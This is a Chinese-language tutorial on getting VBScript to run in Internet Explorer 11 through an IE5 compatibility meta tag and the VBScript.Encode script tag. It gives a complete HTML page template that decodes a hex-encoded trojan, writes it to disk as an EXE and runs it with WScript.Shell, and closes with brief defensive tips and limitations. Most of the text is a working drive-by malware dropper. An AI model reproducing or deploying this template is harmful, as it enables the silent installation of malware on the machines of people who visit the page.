基于VBSCRIPT下16进制木马的IE浏览器BYPASS
字数 667 2025-08-25 22:58:20

基于VBScript的16进制木马在IE浏览器中的绕过技术

技术背景

微软在Internet Explorer 11中出于安全考虑禁用了VBScript执行功能(参考:微软官方博客)。然而,通过特定的兼容性设置,仍然可以在IE11中执行VBScript代码。

技术原理

  1. IE5兼容模式:通过在HTML头部添加<meta http-equiv="x-ua-compatible" content="IE=5">,强制浏览器使用IE5的渲染和脚本引擎

  2. VBScript.Encode:使用<script language="VBScript.Encode">标签调用旧版VBScript编码器

实现步骤

1. 准备阶段

将恶意EXE文件转换为16进制字符串格式,并去除中间空格:

w = "16hex of exe data"

2. 文件系统操作

' 创建文件系统对象
Set objFSO = CreateObject("Scripting.FileSystemObject")

' 创建文本文件
Dim objTextFile 
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")

3. 16进制转换与写入

' 每两个16进制数字转换为一个字符并写入文件
For i = 1 To Len(w) Step 2
    objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
Next
objTextFile.close

4. 执行恶意程序

' 创建Shell对象并执行生成的EXE文件
Set WS= CreateObject("WScript.Shell") 
WS.Run "d:/Testfile.exe"

完整代码模板

<html>
<meta http-equiv="x-ua-compatible" content="IE=5">
<body>
<script language="VBScript.Encode">
     Dim w
     w = "16hex of exe data"
         Dim objFSO
         Set objFSO = CreateObject("Scripting.FileSystemObject")          
         Dim objTextFile 
         Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")     
     For i = 1 To Len(w) Step 2
     objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
     Next
     objTextFile.close
     Set WS= CreateObject("WScript.Shell") 
     WS.Run "d:/Testfile.exe"
</script>
<p>This is web page body </p>
</body>
</html>

注意事项

  1. 此技术仅适用于Internet Explorer浏览器
  2. 需要用户允许ActiveX控件执行
  3. 实际测试中发现并非所有恶意样本都能成功执行(如评论中提到CS生成的样本可能无法执行)
  4. 演示视频参考:优酷视频 密码: microsoft123

防御措施

  1. 禁用IE浏览器的ActiveX控件
  2. 更新到最新版Edge浏览器
  3. 设置组策略禁止使用兼容模式
  4. 监控和限制WScript.Shell和FileSystemObject对象的创建

技术限制

  1. 依赖用户交互和权限设置
  2. 现代浏览器和操作系统安全机制已大幅削弱此类攻击的有效性
  3. 需要精确的16进制转换和文件写入操作
基于VBScript的16进制木马在IE浏览器中的绕过技术 技术背景 微软在Internet Explorer 11中出于安全考虑禁用了VBScript执行功能(参考: 微软官方博客 )。然而,通过特定的兼容性设置,仍然可以在IE11中执行VBScript代码。 技术原理 IE5兼容模式 :通过在HTML头部添加 <meta http-equiv="x-ua-compatible" content="IE=5"> ,强制浏览器使用IE5的渲染和脚本引擎 VBScript.Encode :使用 <script language="VBScript.Encode"> 标签调用旧版VBScript编码器 实现步骤 1. 准备阶段 将恶意EXE文件转换为16进制字符串格式,并去除中间空格: 2. 文件系统操作 3. 16进制转换与写入 4. 执行恶意程序 完整代码模板 注意事项 此技术仅适用于Internet Explorer浏览器 需要用户允许ActiveX控件执行 实际测试中发现并非所有恶意样本都能成功执行(如评论中提到CS生成的样本可能无法执行) 演示视频参考: 优酷视频 密码: microsoft123 防御措施 禁用IE浏览器的ActiveX控件 更新到最新版Edge浏览器 设置组策略禁止使用兼容模式 监控和限制WScript.Shell和FileSystemObject对象的创建 技术限制 依赖用户交互和权限设置 现代浏览器和操作系统安全机制已大幅削弱此类攻击的有效性 需要精确的16进制转换和文件写入操作